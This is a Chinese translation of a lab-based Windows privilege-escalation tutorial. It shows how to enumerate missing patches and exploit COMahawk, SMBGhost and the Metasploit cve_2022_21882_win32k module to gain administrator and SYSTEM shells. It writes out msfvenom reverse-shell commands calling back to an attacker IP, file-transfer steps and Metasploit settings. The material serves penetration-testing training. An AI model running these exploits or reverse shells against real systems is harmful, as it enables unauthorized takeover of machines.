本文通过 Google 翻译 Kernel Exploits Part 2 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 新版 Windows 系统内核利用
- 2 搜寻内核漏洞
- 2.1 枚举内核利用 - 手动
- 2.2 枚举内核利用 - 自动
- 2.2.1 Searchsploit
- 2.2.2 Watson.exe
- 3 使用内核利用
- 3.1 提权到本地管理员 - COMahawk
- 3.2 提权到 SYSTEM 特权 - SMBGhost
- 4 通过 Metasploit 查找及使用内核利用
0、前言
在第二部分内容中,我们将把重点转移到现代新版 Windows 操作系统的内核利用中,这些 OS 包括 Windows 10/Server 2016/Server 2019。
首先,我们使用手动技术和自动工具去枚举目标机器上潜在的内核漏洞。然后,会发现两个看起来很有希望的潜在内核漏洞:COMahawk 和 SMBGhost。接下来,我们将了解如何利用这两个漏洞分别获取本地管理员和 SYSTEM shell。最后,使用 Metasploit 查看一个影响 Windows 10 几乎所有版本的内核漏洞(cve_2022_21882_win32k)。
1、新版 Windows 系统内核利用
在上一篇文章中,我们学习了如何枚举和利用旧版 Windows 操作系统的内核漏洞。在这篇文章中,我们将探讨现代新版 Windows 操作系统的内核漏洞利用。具体来说,我们将以 Windows 10 Pro - Build 18362 - Version 1903 机器为测试目标。
首先,让我们来看一些枚举技术,然后使用这些技术去测试主机上查看是否存在任何内核漏洞。
2、搜寻内核漏洞
在此示例中,假设我们已经在 Windows10 机器上获得了标准用户 bob 的身份。
2.1 枚举内核利用 - 手动
就像在上一篇文章中一样,我们首先要做的就是使用 systemInfo 命令查看系统的 操作系统版本、架构,以及最关键 HotFixes(KB) 等信息。
从上面可以看到,这台主机的操作系统是 Windows 10 Pro – Build 18362 (version 1903) – x64 (64-bit),同时该主机安装了两个补丁。
为了收集有关补丁的更多信息,可以使用以下 wmic 命令:
wmic qfe get Caption,Description,HotFixID,InstalledOn
在内核利用的第一部分文章中我们就提到,补丁的安装日期是很值得关注的地方,因为 Windows 机器很容易受到补丁安装日期之后发布的任何内核漏洞的影响。因此,我们需要依此来确定当前机器容易受到哪些 CVE 漏洞范围的影响。
从 2017 年底/2018 年初开始,微软不再为其披露的漏洞使用 MS 公告编号(如 "MS17-010"),而是开始使用与漏洞相关的 CVE 编号。这意味着,对于新版 Windows 内核漏洞,我们会看到它们都被标记为 CVE-20XX-XXXX。
首先,我们可以 Google 这两个已安装的补丁程序,看看它们是针对哪些漏洞打的补丁,这样就可以知道目标不会受到哪些漏洞的攻击。也就是说,在补丁程序日期之后发现的针对此特定 Windows 版本的任何漏洞利用应该都有效。【同样的,这种手工方法只有在目标机器安装很少的补丁时才适合使用。】
一旦知道目标不容易受到哪些漏洞的影响之后,我们就可以在内核利用列表中寻找合适的内核利用程序去测试。
通过在内核利用列表中的检查,我们发现“CVE-2020-0796”这个漏洞很适合目标当前 Windows(1903) 的版本,而且漏洞利用的发布时间是 2020 年,并且该版本比补丁安装的时间(04/2019)要晚。
另外,由于 GitHub 上的内核利用列表中的现代新版内核漏洞利用有限,因此,我们也可以直接在 Google 上查找新的漏洞利用。
在谷歌中使用这些关键词进行搜索:Windows 10 1903 kernel exploit 或 windows 10 18362 kernel exploit。
经过如此搜索之后,从搜索结果中你可能会找到一些博客或其他网站,而这些地方会提及有关这个 Windows 版本容易受到哪些 CVE 漏洞的影响,然后就可以根据找到的 CVE 编号去搜索这个编号相对应的漏洞利用程序。
比如说,如果我们从谷歌搜索结果中得知这个 Windows 版本容易受到“CVE-2020-0796”漏洞的攻击,那我们下一个谷歌搜索的关键词就应该是:CVE-2020-0796 github
2.2、枚举内核利用 - 自动
接下来,我们将使用两种工具来枚举这台机器的内核漏洞。第一种仍是“手动”方法,因为它能指引我们朝着正确的方向前进,即 searchsploit。第二种工具是 Sherlock.ps1 的后继者,名为 Watson.exe。
2.2.1、Searchsploit
Searchsploit 是 Kali 内置的工具,它包含了Exploit-DB中的所有利用。这意味着我们可以使用 searchsploit 命令搜索漏洞利用程序,然后使用这些利用程序去利用对应的漏洞。
例如,可以使用以下命令来查看此版本的 Windows 是否存在对应的利用程序。
searchsploit 1903
可以看到,有三个潜在的漏洞可供我们去尝试。虽然它们对应的利用文件都是一些 txt 的说明文档,但这些文件的内容中可能会包含实际利用程序的链接地址。
为了能更广泛且反复的搜索,可以使用命令
searchsploit Windows 10 > vulns.txt
将搜索结果转存一份,然后通过 grep 在 vulns.txt 文件中查找更多的漏洞。但也有一些漏洞,它的名称中可能就不包含 "1903" 这个特定数字,因此通过上述的搜索很可能会遗漏掉一些潜在的漏洞。
通过以下命令镜像一份说明文档,并查看:
searchsploit -m 48267cat 48267.txt
在 TXT 文件中,我们可以看到这是 CVE-2020-0796。这意味着这个漏洞比目标的最新补丁还要新,因此,应该可以利用这个漏洞提升到 SYSTEM。另外,漏洞利用的标题(Windows SMBv3 LPE Exploit)还显示了目标 SMB 的具体版本,而如果这个也可以和目标 SMB 版本相匹配的话,那就很有希望了。
对于在 Searchsploit 中发现的每个漏洞,最好先 Google 搜索与之相关的 CVE 编号,然后再查找与 CVE 相关的 KB 编号。一旦确定了 KB 编号,就可以与目标机器已安装的补丁 KB 进行参考对比,以此来检查该漏洞是否已打补丁。
如前所述,searchsploit 更像是一个指引者,它指引着我们朝着正确的方向前进。它为我们提供了潜在的漏洞利用,我们通过研究这些漏洞利用来确定目标是否易受攻击。
2.2.2、Watson.exe
Watson(华生)是 sherlock.ps1 的继任者,它枚举了现代新版 Windows 系统的本地内核漏洞,它的工作内容和 Sherlock.ps1 对旧版 Windows 系统枚举内核漏洞所做的工作是一样的。
通过内置的 CVE 数据库和针对这些漏洞的补丁的 KB 编号,Watson 会将这些 CVE 对应的 KB 编号与已安装补丁的 KB 编号进行相互比对,并依此来确定缺失的补丁,进而判断出目标容易受到哪些漏洞的攻击。
不幸的是,Watson 已经几年没有更新了。这意味着它将不包括更新版本的 Windows 操作系统的利用。
Watson 支持的 Windows 版本:Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004 / Server 2016 & 2019
另一个问题是 watson.exe 并没有预先编译,而要对 GitHub 上的源码进行编译,需要先对多个脚本进行一些编辑才能使其正确编译和工作。
幸运的是,我修复并编译了它,这是它的编译版本。下载 watson.exe 之后将其传输到受害者机器上即可。
Cool!现在,我们可以执行它,然后再查看输出。
.\Watson.exe
Watson 发现,目标系统容易受到 11 个潜在漏洞的影响,并提供了一份 CVE 编号的列表,以及针对每个漏洞对应的漏洞利用程序的链接。
提示:winPEAS 内置了 Watson,并还包括 SMBGhost 检查。
现在,我们可以访问输出中的链接或谷歌搜索这些 CVE 漏洞,看看有哪些符合我们的需要。
3、使用内核利用
在本例中,我们将研究如何使用 COMahawk 和 SMBGhost 漏洞利用程序以分别将我们普通用户的权限提升为本地管理员和 SYSTEM。
3.1、提权到本地管理员 - COMahawk
从 Watson 的输出结果来看,这里提供了针对 CVE-2019-1405 漏洞的利用程序,我们只需下载该利用程序并将其传输到受害者机器。
执行该利用程序之后,它将会创建一个名为 Tomahawk 的新用户,密码为 RibSt3ak69,并将该用户添加到本地管理员组。
Awesome!我们成功利用了此内核漏洞,并创建了一个新的本地管理员用户!
接下来,要获得本地管理员的完整权限(即 高完整性 shell),请参照 RunAs 提权技术和 UAC 绕过提权技术。
3.2、提权到 SYSTEM 特权 - SMBGhost
在本例中,我们将了解如何使用 SMBGhost 漏洞将普通用户的权限提升到 SYSTEM。
SMBGhost 是一种基于缓冲区溢出的利用类型。
据我所知,这个漏洞利用程序也是没有预编译的文件的,因此必须自己进行编译。这样做的好处是,我们可以自定义执行的命令,而不是像 COMahawk 那样只能创建一个本地管理员用户。
您需要在 Windows 实验机上安装 Visual Studio 才能编译此漏洞。我在 Windows 10 实验机上安装了 Visual Studio 2022,这次演示也将使用它。
首先,我们从 GitHub 获取 SMBGhost 漏洞的利用程序的源码文件,并将其解压缩。
然后,我们需要在 Visual Studio 中打开该项目。
这将把整个项目加载到 Visual Studio 中,而在解决方案资源管理器的右侧可以找到所有文件。
找到并打开 exploit.cpp 文件,然后定位到 shellcode 变量部分。在此处,我们需要对 shellcode 变量值进行编辑,以满足可以生成一个反向 shell 的需求。
回到攻击机,使用下面的 msfvenom 命令以生成可以反向 shell 的 shellcode:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -f csharp
这里有几点需要注意。(1)该漏洞利用程序的有效载荷大小不能超过 600 字节。(制作的载荷只有 460 字节,无碍)(2)我们需要复制这段 shellcode(不包括大括号和分号),以替换 exploit.cpp 文件中的 shellcode。
请注意,我把 shellcode 的每一行都用 Tab 制表符使其与原始 shellcode 保持一致。
接下来,开始编译它。先在 Visual Studio 的工具栏,将“构建选项”设置为“Release”和“ X64”。
然后,转到菜单栏的“构建”选项,选择“构建解决方案”。
等构建完成之后,可以看到 Visual Studio 已编译完成。
接下来,我们只需要将编译后的漏洞利用程序通过 SMB 共享传输到受害者机器,然后就可以开始利用了。
impacket-smbserver share $(pwd) -smb2support
将文件复制到受害者机器,并将其重命名为 SMBGhost.exe,就像:
copy \\172.16.1.30\share\SMBGhost.exe .
.\SMBGhost.exe
在执行此利用程序之前,我们需要启动一个 netcat 监听器(443 端口)。
注意:如果此漏洞利用无法正常工作,那么很有可能是因为它需要 vcruntime140.dll 文件才能执行所导致的。只需将该文件一并传输给受害者即可,文件在
C:\Windows\System32
目录下。
最终,当运行它时,我们会看到有一条成功的消息提示,这表明它奏效了。
回到 netcat,我们获得了一个 SYSTEM shell!
4、通过 Metasploit 查找及使用内核利用
在本例中,我制作了一个 x64 meterpreter 有效载荷并将其传输到受害者机器执行,以获得 Meterpreter shell。
Metasploit 有很多用于现代内核漏洞的模块。但是,当我们尝试像之前那样使用本地漏洞利用建议模块时,发现它并不能为我们找到什么。
相反,我们可以使用 background 命令退出 meterpreter 会话,然后使用以下命令枚举有效的 CVE 漏洞:
search exploit/windows/local/cve
搜索结果并不包括所有内核漏洞,这是因为 Metasploit 并非都是以 CVE 编号命名的漏洞利用模块。例如,我们可以看到 SMBGhost 在列表中,但 COMahawk 却不在其中。
虽然有一些小遗憾,但它仍为我们测试漏洞利用提供了一个很好的起点。我们可以根据 Watson 扫描输出的信息,然后在 Metasploit 上测试出现的漏洞利用,如 CVE-2020-0668 和 SMBGhost。
此外,我们还可以通过搜索 COMahwk 的名称来测试它。不过,在上面示例中已经看到了 SMBGhost 和 COMahawk 被利用的情况,所以接下来让我们来看看这个影响了 Windows 10 很多版本的内核漏洞(cve_2022_21882_win32k)。
use exploit/windows/local/cve_2022_21882_win32k
同时,让我们快速看看受该漏洞影响的 Windows 10 的版本有哪些。
WOW!这几乎影响了 Windows 10 的所有版本,一直到 Windows 11 之前的最新和最终版本!
好吧,现在让我们将参数信息添加到模块中:
set SESSION 1
set LHOST 172.16.1.30
set LPORT 8080
show options
等设置了所有参数之后,使用 exploit 命令,应该就能看到有第二个会话产生,并且该会话拥有 SYSTEM 权限。
BOOM!我们得到了 SYSTEM shell,这个漏洞太可怕了!